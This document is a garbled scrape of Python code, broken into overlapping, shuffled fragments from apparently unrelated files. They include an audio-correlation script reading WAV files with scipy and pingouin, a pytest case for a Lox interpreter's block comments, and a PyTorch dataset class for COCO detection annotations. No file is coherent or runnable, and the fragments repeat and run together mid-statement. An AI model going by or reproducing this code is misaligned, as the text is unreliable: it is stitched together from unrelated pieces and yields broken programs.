wavfile.read('wav//ed//mp3baked.wav') _,data1", "-1 index_2 = -1 try: data.shape[1] except IndexError: data =", "= data1.shape[0]-1 index_1 = -1 index_2 = -1 try: data.shape[1]", "data = data[-10000:,:] # data1 = data1[-10000:,:] # print(data1.shape[1]) #", "index_2 = j pass if index_1!=-1 and index_2!=-1: break i-=1", "= j pass if index_1!=-1 and index_2!=-1: break i-=1 j-=1", "= -1 index_2 = -1 try: data.shape[1] except IndexError: data", "index_2!=-1: break i-=1 j-=1 data = data[-index_1:,:] data1 = data1[-index_2:,:]", "# data = data[-10000:,:] # data1 = data1[-10000:,:] # print(data1.shape[1])", "data1.reshape(data1.shape[0],1) while True: if data[i,0] !=0 and index_1==-1: index_1 =", "= data.reshape(data.shape[0],1) try: data1.shape[1] except IndexError: data1 = data1.reshape(data1.shape[0],1) while", "break i-=1 j-=1 data = data[-index_1:,:] data1 = data1[-index_2:,:] data", "data1 = data1.reshape(data1.shape[0],1) while True: if data[i,0] !=0 and index_1==-1:", "# data1 = data1[-10000:,:] # print(data1.shape[1]) # df = pd.DataFrame(data,data1)", "pd.DataFrame(data,data1) # print(df.head()) # print(data1.shape) # data = data[-5000:,:] #", "data.shape[1] except IndexError: data = data.reshape(data.shape[0],1) try: data1.shape[1] except IndexError:", "data = data.reshape(data.shape[0],1) try: data1.shape[1] except IndexError: data1 = data1.reshape(data1.shape[0],1)", "= data1[-10000:,:] # print(data1.shape[1]) # df = pd.DataFrame(data,data1) # print(df.head())", "= -1 try: data.shape[1] except IndexError: data = data.reshape(data.shape[0],1) try:", "= data[:,:] # data1 = data1[:,:] # data = data.reshape(data.shape[0],1)", "data1.shape[1] except IndexError: data1 = data1.reshape(data1.shape[0],1) while True: if data[i,0]", "import pingouin as pg import pandas as pd _,data =", "index_1 = -1 index_2 = -1 try: data.shape[1] except IndexError:", "# data1 = data1.reshape(data1.shape[0],1) # data = data[-10000:,:] # data1", "pingouin as pg import pandas as pd _,data = wavfile.read('wav//ed//mp3baked.wav')", "pass if data1[j,0] !=0 and index_2==-1: index_2 = j pass", "= pd.DataFrame(data,data1) # print(df.head()) # print(data1.shape) # data = data[-5000:,:]", "print(data1.shape[1]) # df = pd.DataFrame(data,data1) # print(df.head()) # print(data1.shape) #", "import wavfile import numpy as np import pingouin as pg", "and index_1==-1: index_1 = i pass if data1[j,0] !=0 and", "# data1 = data1[:,:] # data = data.reshape(data.shape[0],1) # data1", "= data1.reshape(data1.shape[0],1) while True: if data[i,0] !=0 and index_1==-1: index_1", "print(x) # print(data.tostring()) # print(data1.tostring()) # data = data[:,:] #", "index_1 = i pass if data1[j,0] !=0 and index_2==-1: index_2", "= wavfile.read('wav//ed//mp3baked.wav') _,data1 = wavfile.read('wav//ing//ingeating.wav') i= data.shape[0]-1 j = data1.shape[0]-1", "# print(data1.shape[1]) # df = pd.DataFrame(data,data1) # print(df.head()) # print(data1.shape)", "data = data[-index_1:,:] data1 = data1[-index_2:,:] data = data[-2000:,:] data1=", "= i pass if data1[j,0] !=0 and index_2==-1: index_2 =", "index_1==-1: index_1 = i pass if data1[j,0] !=0 and index_2==-1:", "j = data1.shape[0]-1 index_1 = -1 index_2 = -1 try:", "# print(df.head()) # print(data1.shape) # data = data[-5000:,:] # data1", "data1 = data1.reshape(data1.shape[0],1) # data = data[-10000:,:] # data1 =", "IndexError: data = data.reshape(data.shape[0],1) try: data1.shape[1] except IndexError: data1 =", "index_1!=-1 and index_2!=-1: break i-=1 j-=1 data = data[-index_1:,:] data1", "data[i,0] !=0 and index_1==-1: index_1 = i pass if data1[j,0]", "-1 try: data.shape[1] except IndexError: data = data.reshape(data.shape[0],1) try: data1.shape[1]", "except IndexError: data = data.reshape(data.shape[0],1) try: data1.shape[1] except IndexError: data1", "# data = data.reshape(data.shape[0],1) # data1 = data1.reshape(data1.shape[0],1) # data", "print(df.head()) # print(data1.shape) # data = data[-5000:,:] # data1 =", "= data1[:,:] # data = data.reshape(data.shape[0],1) # data1 = data1.reshape(data1.shape[0],1)", "data[-5000:,:] # data1 = data1[-5000:,:] # # # x =pg.corr(x=data[:,0],y=data1[:,0])", "from scipy.io import wavfile import numpy as np import pingouin", "and index_2==-1: index_2 = j pass if index_1!=-1 and index_2!=-1:", "data[-10000:,:] # data1 = data1[-10000:,:] # print(data1.shape[1]) # df =", "data[-2000:,:] data1= data1[-2000:,:] x =pg.corr(x=data[:,0],y=data1[:,0]) print(x) # print(data.tostring()) # print(data1.tostring())", "data1[-index_2:,:] data = data[-2000:,:] data1= data1[-2000:,:] x =pg.corr(x=data[:,0],y=data1[:,0]) print(x) #", "= data[-10000:,:] # data1 = data1[-10000:,:] # print(data1.shape[1]) # df", "data = data[-5000:,:] # data1 = data1[-5000:,:] # # #", "# data = data[-5000:,:] # data1 = data1[-5000:,:] # #", "data.reshape(data.shape[0],1) try: data1.shape[1] except IndexError: data1 = data1.reshape(data1.shape[0],1) while True:", "_,data1 = wavfile.read('wav//ing//ingeating.wav') i= data.shape[0]-1 j = data1.shape[0]-1 index_1 =", "pg import pandas as pd _,data = wavfile.read('wav//ed//mp3baked.wav') _,data1 =", "!=0 and index_2==-1: index_2 = j pass if index_1!=-1 and", "= data1.reshape(data1.shape[0],1) # data = data[-10000:,:] # data1 = data1[-10000:,:]", "while True: if data[i,0] !=0 and index_1==-1: index_1 = i", "print(data1.tostring()) # data = data[:,:] # data1 = data1[:,:] #", "scipy.io import wavfile import numpy as np import pingouin as", "# print(data1.shape) # data = data[-5000:,:] # data1 = data1[-5000:,:]", "data = data.reshape(data.shape[0],1) # data1 = data1.reshape(data1.shape[0],1) # data =", "wavfile.read('wav//ing//ingeating.wav') i= data.shape[0]-1 j = data1.shape[0]-1 index_1 = -1 index_2", "print(data.tostring()) # print(data1.tostring()) # data = data[:,:] # data1 =", "data1 = data1[-index_2:,:] data = data[-2000:,:] data1= data1[-2000:,:] x =pg.corr(x=data[:,0],y=data1[:,0])", "data = data[:,:] # data1 = data1[:,:] # data =", "try: data.shape[1] except IndexError: data = data.reshape(data.shape[0],1) try: data1.shape[1] except", "j-=1 data = data[-index_1:,:] data1 = data1[-index_2:,:] data = data[-2000:,:]", "i pass if data1[j,0] !=0 and index_2==-1: index_2 = j", "=pg.corr(x=data[:,0],y=data1[:,0]) print(x) # print(data.tostring()) # print(data1.tostring()) # data = data[:,:]", "data = data[-2000:,:] data1= data1[-2000:,:] x =pg.corr(x=data[:,0],y=data1[:,0]) print(x) # print(data.tostring())", "!=0 and index_1==-1: index_1 = i pass if data1[j,0] !=0", "wavfile.read('wav//ed//mp3baked.wav') _,data1 = wavfile.read('wav//ing//ingeating.wav') i= data.shape[0]-1 j = data1.shape[0]-1 index_1", "data1= data1[-2000:,:] x =pg.corr(x=data[:,0],y=data1[:,0]) print(x) # print(data.tostring()) # print(data1.tostring()) #", "index_2 = -1 try: data.shape[1] except IndexError: data = data.reshape(data.shape[0],1)", "= data[-index_1:,:] data1 = data1[-index_2:,:] data = data[-2000:,:] data1= data1[-2000:,:]", "as np import pingouin as pg import pandas as pd", "data1 = data1[-10000:,:] # print(data1.shape[1]) # df = pd.DataFrame(data,data1) #", "pass if index_1!=-1 and index_2!=-1: break i-=1 j-=1 data =", "x =pg.corr(x=data[:,0],y=data1[:,0]) print(x) # print(data.tostring()) # print(data1.tostring()) # data =", "data1 = data1[:,:] # data = data.reshape(data.shape[0],1) # data1 =", "except IndexError: data1 = data1.reshape(data1.shape[0],1) while True: if data[i,0] !=0", "True: if data[i,0] !=0 and index_1==-1: index_1 = i pass" ]
[ "interpreter.run(TEST_SRC) assert not interpreter.had_error assert not interpreter.had_runtime_error all_out = capsys.readouterr().out.splitlines()", "test_block_comment_at_eof(capsys: pytest.CaptureFixture) -> None: interpreter = Lox() interpreter.run(TEST_SRC) assert not", "block comment */ \"\"\" ) EXPECTED_STDOUTS: list[str] = [] def", "from pylox.lox import Lox TEST_SRC = dedent( \"\"\"\\ /* This", "\"\"\"\\ /* This is a multiline block comment */ \"\"\"", "EXPECTED_STDOUTS: list[str] = [] def test_block_comment_at_eof(capsys: pytest.CaptureFixture) -> None: interpreter", "from textwrap import dedent import pytest from pylox.lox import Lox", "Lox TEST_SRC = dedent( \"\"\"\\ /* This is a multiline", "pylox.lox import Lox TEST_SRC = dedent( \"\"\"\\ /* This is", "interpreter.had_error assert not interpreter.had_runtime_error all_out = capsys.readouterr().out.splitlines() assert all_out ==", "def test_block_comment_at_eof(capsys: pytest.CaptureFixture) -> None: interpreter = Lox() interpreter.run(TEST_SRC) assert", "= dedent( \"\"\"\\ /* This is a multiline block comment", "import pytest from pylox.lox import Lox TEST_SRC = dedent( \"\"\"\\", "assert not interpreter.had_error assert not interpreter.had_runtime_error all_out = capsys.readouterr().out.splitlines() assert", "This is a multiline block comment */ \"\"\" ) EXPECTED_STDOUTS:", "comment */ \"\"\" ) EXPECTED_STDOUTS: list[str] = [] def test_block_comment_at_eof(capsys:", "list[str] = [] def test_block_comment_at_eof(capsys: pytest.CaptureFixture) -> None: interpreter =", "None: interpreter = Lox() interpreter.run(TEST_SRC) assert not interpreter.had_error assert not", "assert not interpreter.had_runtime_error all_out = capsys.readouterr().out.splitlines() assert all_out == EXPECTED_STDOUTS", "not interpreter.had_error assert not interpreter.had_runtime_error all_out = capsys.readouterr().out.splitlines() assert all_out", "dedent( \"\"\"\\ /* This is a multiline block comment */", "\"\"\" ) EXPECTED_STDOUTS: list[str] = [] def test_block_comment_at_eof(capsys: pytest.CaptureFixture) ->", "textwrap import dedent import pytest from pylox.lox import Lox TEST_SRC", "dedent import pytest from pylox.lox import Lox TEST_SRC = dedent(", "TEST_SRC = dedent( \"\"\"\\ /* This is a multiline block", "[] def test_block_comment_at_eof(capsys: pytest.CaptureFixture) -> None: interpreter = Lox() interpreter.run(TEST_SRC)", "= Lox() interpreter.run(TEST_SRC) assert not interpreter.had_error assert not interpreter.had_runtime_error all_out", "Lox() interpreter.run(TEST_SRC) assert not interpreter.had_error assert not interpreter.had_runtime_error all_out =", "import Lox TEST_SRC = dedent( \"\"\"\\ /* This is a", "-> None: interpreter = Lox() interpreter.run(TEST_SRC) assert not interpreter.had_error assert", "/* This is a multiline block comment */ \"\"\" )", "is a multiline block comment */ \"\"\" ) EXPECTED_STDOUTS: list[str]", "pytest.CaptureFixture) -> None: interpreter = Lox() interpreter.run(TEST_SRC) assert not interpreter.had_error", "<reponame>sco1/pylox<filename>tests/comments/test_only_block_comment.py<gh_stars>1-10 from textwrap import dedent import pytest from pylox.lox import", "pytest from pylox.lox import Lox TEST_SRC = dedent( \"\"\"\\ /*", "a multiline block comment */ \"\"\" ) EXPECTED_STDOUTS: list[str] =", "interpreter = Lox() interpreter.run(TEST_SRC) assert not interpreter.had_error assert not interpreter.had_runtime_error", "multiline block comment */ \"\"\" ) EXPECTED_STDOUTS: list[str] = []", ") EXPECTED_STDOUTS: list[str] = [] def test_block_comment_at_eof(capsys: pytest.CaptureFixture) -> None:", "= [] def test_block_comment_at_eof(capsys: pytest.CaptureFixture) -> None: interpreter = Lox()", "*/ \"\"\" ) EXPECTED_STDOUTS: list[str] = [] def test_block_comment_at_eof(capsys: pytest.CaptureFixture)", "import dedent import pytest from pylox.lox import Lox TEST_SRC =" ]
[ "<reponame>n-kats/mlbase<filename>mlbase/lazy.py<gh_stars>0 from mlbase.utils.misc import lazy tensorflow = lazy(\"tensorflow\") numpy =", "from mlbase.utils.misc import lazy tensorflow = lazy(\"tensorflow\") numpy = lazy(\"numpy\")", "import lazy tensorflow = lazy(\"tensorflow\") numpy = lazy(\"numpy\") gensim =", "mlbase.utils.misc import lazy tensorflow = lazy(\"tensorflow\") numpy = lazy(\"numpy\") gensim", "lazy tensorflow = lazy(\"tensorflow\") numpy = lazy(\"numpy\") gensim = lazy(\"gensim\")" ]
[ "open(VERSION_FILENAME, \"r\") as version_file: mo = re.search(VERSION_RE, version_file.read(), re.M) if", "3\", \"License :: OSI Approved :: MIT License\", \"Operating System", "to find version string in %s.\" % (version_file,) raise RuntimeError(msg)", "\"r\") as description_file: long_description = description_file.read() setuptools.setup( name=\"observed\", version=version, author=\"<NAME>\",", "open(README_FILENAME, \"r\") as description_file: long_description = description_file.read() setuptools.setup( name=\"observed\", version=version,", "long_description = description_file.read() setuptools.setup( name=\"observed\", version=version, author=\"<NAME>\", author_email=\"<EMAIL>\", description=\"Observer pattern", "\"r\") as version_file: mo = re.search(VERSION_RE, version_file.read(), re.M) if mo:", "as version_file: mo = re.search(VERSION_RE, version_file.read(), re.M) if mo: version", "setuptools README_FILENAME = \"README.md\" VERSION_FILENAME = \"observed.py\" VERSION_RE = r\"^__version__", "as description_file: long_description = description_file.read() setuptools.setup( name=\"observed\", version=version, author=\"<NAME>\", author_email=\"<EMAIL>\",", "\"README.md\" VERSION_FILENAME = \"observed.py\" VERSION_RE = r\"^__version__ = ['\\\"]([^'\\\"]*)['\\\"]\" #", "long_description=long_description, long_description_content_type=\"text/markdown\", url=\"https://github.com/DanielSank/observed\", py_modules=[\"observed\"], classifiers=[ \"Programming Language :: Python ::", "= mo.group(1) else: msg = \"Unable to find version string", "README_FILENAME = \"README.md\" VERSION_FILENAME = \"observed.py\" VERSION_RE = r\"^__version__ =", "Get description information with open(README_FILENAME, \"r\") as description_file: long_description =", "= description_file.read() setuptools.setup( name=\"observed\", version=version, author=\"<NAME>\", author_email=\"<EMAIL>\", description=\"Observer pattern for", "%s.\" % (version_file,) raise RuntimeError(msg) # Get description information with", "RuntimeError(msg) # Get description information with open(README_FILENAME, \"r\") as description_file:", "\"License :: OSI Approved :: MIT License\", \"Operating System ::", "\"Unable to find version string in %s.\" % (version_file,) raise", "import re import setuptools README_FILENAME = \"README.md\" VERSION_FILENAME = \"observed.py\"", "author=\"<NAME>\", author_email=\"<EMAIL>\", description=\"Observer pattern for functions and bound methods\", long_description=long_description,", "Get version information with open(VERSION_FILENAME, \"r\") as version_file: mo =", "author_email=\"<EMAIL>\", description=\"Observer pattern for functions and bound methods\", long_description=long_description, long_description_content_type=\"text/markdown\",", "information with open(VERSION_FILENAME, \"r\") as version_file: mo = re.search(VERSION_RE, version_file.read(),", "py_modules=[\"observed\"], classifiers=[ \"Programming Language :: Python :: 3\", \"License ::", "functions and bound methods\", long_description=long_description, long_description_content_type=\"text/markdown\", url=\"https://github.com/DanielSank/observed\", py_modules=[\"observed\"], classifiers=[ \"Programming", "else: msg = \"Unable to find version string in %s.\"", "= r\"^__version__ = ['\\\"]([^'\\\"]*)['\\\"]\" # Get version information with open(VERSION_FILENAME,", "description_file: long_description = description_file.read() setuptools.setup( name=\"observed\", version=version, author=\"<NAME>\", author_email=\"<EMAIL>\", description=\"Observer", ":: 3\", \"License :: OSI Approved :: MIT License\", \"Operating", "(version_file,) raise RuntimeError(msg) # Get description information with open(README_FILENAME, \"r\")", "mo = re.search(VERSION_RE, version_file.read(), re.M) if mo: version = mo.group(1)", "methods\", long_description=long_description, long_description_content_type=\"text/markdown\", url=\"https://github.com/DanielSank/observed\", py_modules=[\"observed\"], classifiers=[ \"Programming Language :: Python", "mo: version = mo.group(1) else: msg = \"Unable to find", "raise RuntimeError(msg) # Get description information with open(README_FILENAME, \"r\") as", "with open(README_FILENAME, \"r\") as description_file: long_description = description_file.read() setuptools.setup( name=\"observed\",", ":: MIT License\", \"Operating System :: OS Independent\", ], )", "description_file.read() setuptools.setup( name=\"observed\", version=version, author=\"<NAME>\", author_email=\"<EMAIL>\", description=\"Observer pattern for functions", "re import setuptools README_FILENAME = \"README.md\" VERSION_FILENAME = \"observed.py\" VERSION_RE", "information with open(README_FILENAME, \"r\") as description_file: long_description = description_file.read() setuptools.setup(", "re.M) if mo: version = mo.group(1) else: msg = \"Unable", "Python :: 3\", \"License :: OSI Approved :: MIT License\",", "version information with open(VERSION_FILENAME, \"r\") as version_file: mo = re.search(VERSION_RE,", "mo.group(1) else: msg = \"Unable to find version string in", "['\\\"]([^'\\\"]*)['\\\"]\" # Get version information with open(VERSION_FILENAME, \"r\") as version_file:", "VERSION_RE = r\"^__version__ = ['\\\"]([^'\\\"]*)['\\\"]\" # Get version information with", "version string in %s.\" % (version_file,) raise RuntimeError(msg) # Get", "with open(VERSION_FILENAME, \"r\") as version_file: mo = re.search(VERSION_RE, version_file.read(), re.M)", "= ['\\\"]([^'\\\"]*)['\\\"]\" # Get version information with open(VERSION_FILENAME, \"r\") as", "url=\"https://github.com/DanielSank/observed\", py_modules=[\"observed\"], classifiers=[ \"Programming Language :: Python :: 3\", \"License", "bound methods\", long_description=long_description, long_description_content_type=\"text/markdown\", url=\"https://github.com/DanielSank/observed\", py_modules=[\"observed\"], classifiers=[ \"Programming Language ::", "\"observed.py\" VERSION_RE = r\"^__version__ = ['\\\"]([^'\\\"]*)['\\\"]\" # Get version information", "pattern for functions and bound methods\", long_description=long_description, long_description_content_type=\"text/markdown\", url=\"https://github.com/DanielSank/observed\", py_modules=[\"observed\"],", "version=version, author=\"<NAME>\", author_email=\"<EMAIL>\", description=\"Observer pattern for functions and bound methods\",", "version_file.read(), re.M) if mo: version = mo.group(1) else: msg =", "string in %s.\" % (version_file,) raise RuntimeError(msg) # Get description", "description information with open(README_FILENAME, \"r\") as description_file: long_description = description_file.read()", "for functions and bound methods\", long_description=long_description, long_description_content_type=\"text/markdown\", url=\"https://github.com/DanielSank/observed\", py_modules=[\"observed\"], classifiers=[", "classifiers=[ \"Programming Language :: Python :: 3\", \"License :: OSI", "= \"observed.py\" VERSION_RE = r\"^__version__ = ['\\\"]([^'\\\"]*)['\\\"]\" # Get version", "setuptools.setup( name=\"observed\", version=version, author=\"<NAME>\", author_email=\"<EMAIL>\", description=\"Observer pattern for functions and", "msg = \"Unable to find version string in %s.\" %", "r\"^__version__ = ['\\\"]([^'\\\"]*)['\\\"]\" # Get version information with open(VERSION_FILENAME, \"r\")", "and bound methods\", long_description=long_description, long_description_content_type=\"text/markdown\", url=\"https://github.com/DanielSank/observed\", py_modules=[\"observed\"], classifiers=[ \"Programming Language", "import setuptools README_FILENAME = \"README.md\" VERSION_FILENAME = \"observed.py\" VERSION_RE =", "long_description_content_type=\"text/markdown\", url=\"https://github.com/DanielSank/observed\", py_modules=[\"observed\"], classifiers=[ \"Programming Language :: Python :: 3\",", "find version string in %s.\" % (version_file,) raise RuntimeError(msg) #", ":: Python :: 3\", \"License :: OSI Approved :: MIT", "version_file: mo = re.search(VERSION_RE, version_file.read(), re.M) if mo: version =", "OSI Approved :: MIT License\", \"Operating System :: OS Independent\",", "# Get description information with open(README_FILENAME, \"r\") as description_file: long_description", "description=\"Observer pattern for functions and bound methods\", long_description=long_description, long_description_content_type=\"text/markdown\", url=\"https://github.com/DanielSank/observed\",", "\"Programming Language :: Python :: 3\", \"License :: OSI Approved", "in %s.\" % (version_file,) raise RuntimeError(msg) # Get description information", "Language :: Python :: 3\", \"License :: OSI Approved ::", "= \"Unable to find version string in %s.\" % (version_file,)", ":: OSI Approved :: MIT License\", \"Operating System :: OS", "name=\"observed\", version=version, author=\"<NAME>\", author_email=\"<EMAIL>\", description=\"Observer pattern for functions and bound", "version = mo.group(1) else: msg = \"Unable to find version", "% (version_file,) raise RuntimeError(msg) # Get description information with open(README_FILENAME,", "# Get version information with open(VERSION_FILENAME, \"r\") as version_file: mo", "Approved :: MIT License\", \"Operating System :: OS Independent\", ],", "re.search(VERSION_RE, version_file.read(), re.M) if mo: version = mo.group(1) else: msg", "if mo: version = mo.group(1) else: msg = \"Unable to", "= \"README.md\" VERSION_FILENAME = \"observed.py\" VERSION_RE = r\"^__version__ = ['\\\"]([^'\\\"]*)['\\\"]\"", "= re.search(VERSION_RE, version_file.read(), re.M) if mo: version = mo.group(1) else:", "VERSION_FILENAME = \"observed.py\" VERSION_RE = r\"^__version__ = ['\\\"]([^'\\\"]*)['\\\"]\" # Get" ]
[ "Dataset class DetectionMSCOCODataset(Dataset): def __init__(self, annotation_file: str, image_dir: str): self._annotation_file", "self._cache_file = self._annotation_file + \".cache\" self._coco = COCO(self._annotation_file) self._img_ids =", "] self._detections = {} for ind, (coco_image_id, image_name) in enumerate(zip(self._img_ids,", "self._image_dir = image_dir self._cache_file = self._annotation_file + \".cache\" self._coco =", "self._cat_ids = self._coco.getCatIds() self._ann_ids = self._coco.getAnnIds() self._data = \"coco\" self._classes", "cat_id for ind, cat_id in enumerate(self._cat_ids) } self._coco_to_class_map = {", "from torch.utils.data import Dataset class DetectionMSCOCODataset(Dataset): def __init__(self, annotation_file: str,", "cat_id in self._cat_ids: annotation_ids = self._coco.getAnnIds(imgIds=image[\"id\"], catIds=cat_id) annotations = self._coco.loadAnns(annotation_ids)", "coco_id for coco_id in coco_ids } self._coco_categories = data[\"categories\"] self._coco_eval_ids", "as f: self._detections, self._image_names = pickle.load(f) def _load_coco_data(self): with open(self._annotation_file,", "= self._coco_to_class_map[cat_id] for annotation in annotations: bbox = np.array(annotation[\"bbox\"]) bbox[[2,", "int) -> Any: image_name = self._image_names[ind] return { 'image_name': os.path.join(self._image_dir,", "self._coco_eval_ids = eval_ids def class_name(self, cid): cat_id = self._classes[cid] cat", "categories.append(category) self._detections[image_name] = [{ 'bbox': bbox.astype(np.float32), 'category_id': category, 'category_name': self.class_name(category)", "value: key for key, value in self._classes.items() } self._load_data() self._db_inds", "str): self._annotation_file = annotation_file self._image_dir = image_dir self._cache_file = self._annotation_file", "self._coco.loadImgs(coco_id)[0][\"file_name\"]: coco_id for coco_id in coco_ids } self._coco_categories = data[\"categories\"]", "img_id in self._img_ids ] self._detections = {} for ind, (coco_image_id,", "not os.path.exists(self._cache_file): print(\"No cache file found...\") self._extract_data() with open(self._cache_file, \"wb\")", "category in zip(bboxes, categories)] def __getitem__(self, ind: int) -> Any:", "value in self._classes.items() } self._load_data() self._db_inds = np.arange(len(self._image_names)) self._load_coco_data() def", "= [{ 'bbox': bbox.astype(np.float32), 'category_id': category, 'category_name': self.class_name(category) } for", "self.class_name(category) } for bbox, category in zip(bboxes, categories)] def __getitem__(self,", "-> Any: image_name = self._image_names[ind] return { 'image_name': os.path.join(self._image_dir, image_name),", "bbox[[2, 3]] += bbox[[0, 1]] bboxes.append(bbox) categories.append(category) self._detections[image_name] = [{", "} self._coco_to_class_map = { value: key for key, value in", "= self._coco.loadAnns(annotation_ids) category = self._coco_to_class_map[cat_id] for annotation in annotations: bbox", "file: {}\".format(self._cache_file)) if not os.path.exists(self._cache_file): print(\"No cache file found...\") self._extract_data()", "self._coco.loadImgs(coco_image_id)[0] bboxes = [] categories = [] for cat_id in", "self._image_names = [ self._coco.loadImgs(img_id)[0][\"file_name\"] for img_id in self._img_ids ] self._detections", "in enumerate(zip(self._img_ids, self._image_names)): image = self._coco.loadImgs(coco_image_id)[0] bboxes = [] categories", "cat_id = self._classes[cid] cat = self._coco.loadCats([cat_id])[0] return cat[\"name\"] def _extract_data(self):", "with open(self._cache_file, \"rb\") as f: self._detections, self._image_names = pickle.load(f) def", "def _load_data(self): print(\"loading from cache file: {}\".format(self._cache_file)) if not os.path.exists(self._cache_file):", "annotation_ids = self._coco.getAnnIds(imgIds=image[\"id\"], catIds=cat_id) annotations = self._coco.loadAnns(annotation_ids) category = self._coco_to_class_map[cat_id]", "self._image_names = pickle.load(f) def _load_coco_data(self): with open(self._annotation_file, \"r\") as f:", "for bbox, category in zip(bboxes, categories)] def __getitem__(self, ind: int)", "[] for cat_id in self._cat_ids: annotation_ids = self._coco.getAnnIds(imgIds=image[\"id\"], catIds=cat_id) annotations", "= self._annotation_file + \".cache\" self._coco = COCO(self._annotation_file) self._img_ids = self._coco.getImgIds()", "[] categories = [] for cat_id in self._cat_ids: annotation_ids =", "category = self._coco_to_class_map[cat_id] for annotation in annotations: bbox = np.array(annotation[\"bbox\"])", "import numpy as np import pickle from typing import Any", "eval_ids = { self._coco.loadImgs(coco_id)[0][\"file_name\"]: coco_id for coco_id in coco_ids }", "created\") else: with open(self._cache_file, \"rb\") as f: self._detections, self._image_names =", "= [] for cat_id in self._cat_ids: annotation_ids = self._coco.getAnnIds(imgIds=image[\"id\"], catIds=cat_id)", "__len__(self) -> int: return len(self._img_ids) def get_num_classes(self) -> int: return", "f: data = json.load(f) coco_ids = self._coco.getImgIds() eval_ids = {", "'bbox': bbox.astype(np.float32), 'category_id': category, 'category_name': self.class_name(category) } for bbox, category", "for ind, (coco_image_id, image_name) in enumerate(zip(self._img_ids, self._image_names)): image = self._coco.loadImgs(coco_image_id)[0]", "Any from pycocotools.coco import COCO from torch.utils.data import Dataset class", "self._image_names)): image = self._coco.loadImgs(coco_image_id)[0] bboxes = [] categories = []", "bboxes.append(bbox) categories.append(category) self._detections[image_name] = [{ 'bbox': bbox.astype(np.float32), 'category_id': category, 'category_name':", "DetectionMSCOCODataset(Dataset): def __init__(self, annotation_file: str, image_dir: str): self._annotation_file = annotation_file", "cache file found...\") self._extract_data() with open(self._cache_file, \"wb\") as f: pickle.dump([self._detections,", "with open(self._annotation_file, \"r\") as f: data = json.load(f) coco_ids =", "= eval_ids def class_name(self, cid): cat_id = self._classes[cid] cat =", "self._annotation_file = annotation_file self._image_dir = image_dir self._cache_file = self._annotation_file +", "+= bbox[[0, 1]] bboxes.append(bbox) categories.append(category) self._detections[image_name] = [{ 'bbox': bbox.astype(np.float32),", "pickle.load(f) def _load_coco_data(self): with open(self._annotation_file, \"r\") as f: data =", "in self._cat_ids: annotation_ids = self._coco.getAnnIds(imgIds=image[\"id\"], catIds=cat_id) annotations = self._coco.loadAnns(annotation_ids) category", "in zip(bboxes, categories)] def __getitem__(self, ind: int) -> Any: image_name", "def class_name(self, cid): cat_id = self._classes[cid] cat = self._coco.loadCats([cat_id])[0] return", "self._coco.loadCats([cat_id])[0] return cat[\"name\"] def _extract_data(self): self._image_names = [ self._coco.loadImgs(img_id)[0][\"file_name\"] for", "self._annotation_file + \".cache\" self._coco = COCO(self._annotation_file) self._img_ids = self._coco.getImgIds() self._cat_ids", "as np import pickle from typing import Any from pycocotools.coco", "{ ind: cat_id for ind, cat_id in enumerate(self._cat_ids) } self._coco_to_class_map", "-> int: return len(self._img_ids) def get_num_classes(self) -> int: return len(self._cat_ids)", "self._coco.getAnnIds(imgIds=image[\"id\"], catIds=cat_id) annotations = self._coco.loadAnns(annotation_ids) category = self._coco_to_class_map[cat_id] for annotation", "= self._coco.loadCats([cat_id])[0] return cat[\"name\"] def _extract_data(self): self._image_names = [ self._coco.loadImgs(img_id)[0][\"file_name\"]", "print(\"loading from cache file: {}\".format(self._cache_file)) if not os.path.exists(self._cache_file): print(\"No cache", "self._load_coco_data() def _load_data(self): print(\"loading from cache file: {}\".format(self._cache_file)) if not", "f: self._detections, self._image_names = pickle.load(f) def _load_coco_data(self): with open(self._annotation_file, \"r\")", "catIds=cat_id) annotations = self._coco.loadAnns(annotation_ids) category = self._coco_to_class_map[cat_id] for annotation in", "[{ 'bbox': bbox.astype(np.float32), 'category_id': category, 'category_name': self.class_name(category) } for bbox,", "self._coco = COCO(self._annotation_file) self._img_ids = self._coco.getImgIds() self._cat_ids = self._coco.getCatIds() self._ann_ids", "ind, cat_id in enumerate(self._cat_ids) } self._coco_to_class_map = { value: key", "annotations: bbox = np.array(annotation[\"bbox\"]) bbox[[2, 3]] += bbox[[0, 1]] bboxes.append(bbox)", "as f: pickle.dump([self._detections, self._image_names], f) print(\"Cache file created\") else: with", "def _extract_data(self): self._image_names = [ self._coco.loadImgs(img_id)[0][\"file_name\"] for img_id in self._img_ids", "self._coco_categories = data[\"categories\"] self._coco_eval_ids = eval_ids def class_name(self, cid): cat_id", "3]] += bbox[[0, 1]] bboxes.append(bbox) categories.append(category) self._detections[image_name] = [{ 'bbox':", "file found...\") self._extract_data() with open(self._cache_file, \"wb\") as f: pickle.dump([self._detections, self._image_names],", "pycocotools.coco import COCO from torch.utils.data import Dataset class DetectionMSCOCODataset(Dataset): def", "self._data = \"coco\" self._classes = { ind: cat_id for ind,", "= { ind: cat_id for ind, cat_id in enumerate(self._cat_ids) }", "annotation_file self._image_dir = image_dir self._cache_file = self._annotation_file + \".cache\" self._coco", "self._detections, self._image_names = pickle.load(f) def _load_coco_data(self): with open(self._annotation_file, \"r\") as", "cache file: {}\".format(self._cache_file)) if not os.path.exists(self._cache_file): print(\"No cache file found...\")", "self._classes.items() } self._load_data() self._db_inds = np.arange(len(self._image_names)) self._load_coco_data() def _load_data(self): print(\"loading", "{}\".format(self._cache_file)) if not os.path.exists(self._cache_file): print(\"No cache file found...\") self._extract_data() with", "os.path.join(self._image_dir, image_name), 'detections': self._detections[image_name] } def __len__(self) -> int: return", "category, 'category_name': self.class_name(category) } for bbox, category in zip(bboxes, categories)]", "_load_data(self): print(\"loading from cache file: {}\".format(self._cache_file)) if not os.path.exists(self._cache_file): print(\"No", "open(self._cache_file, \"rb\") as f: self._detections, self._image_names = pickle.load(f) def _load_coco_data(self):", "= COCO(self._annotation_file) self._img_ids = self._coco.getImgIds() self._cat_ids = self._coco.getCatIds() self._ann_ids =", "import json import numpy as np import pickle from typing", "enumerate(zip(self._img_ids, self._image_names)): image = self._coco.loadImgs(coco_image_id)[0] bboxes = [] categories =", "image_name = self._image_names[ind] return { 'image_name': os.path.join(self._image_dir, image_name), 'detections': self._detections[image_name]", "self._coco_to_class_map = { value: key for key, value in self._classes.items()", "def __getitem__(self, ind: int) -> Any: image_name = self._image_names[ind] return", "image_dir self._cache_file = self._annotation_file + \".cache\" self._coco = COCO(self._annotation_file) self._img_ids", "data[\"categories\"] self._coco_eval_ids = eval_ids def class_name(self, cid): cat_id = self._classes[cid]", "cat_id in enumerate(self._cat_ids) } self._coco_to_class_map = { value: key for", "\".cache\" self._coco = COCO(self._annotation_file) self._img_ids = self._coco.getImgIds() 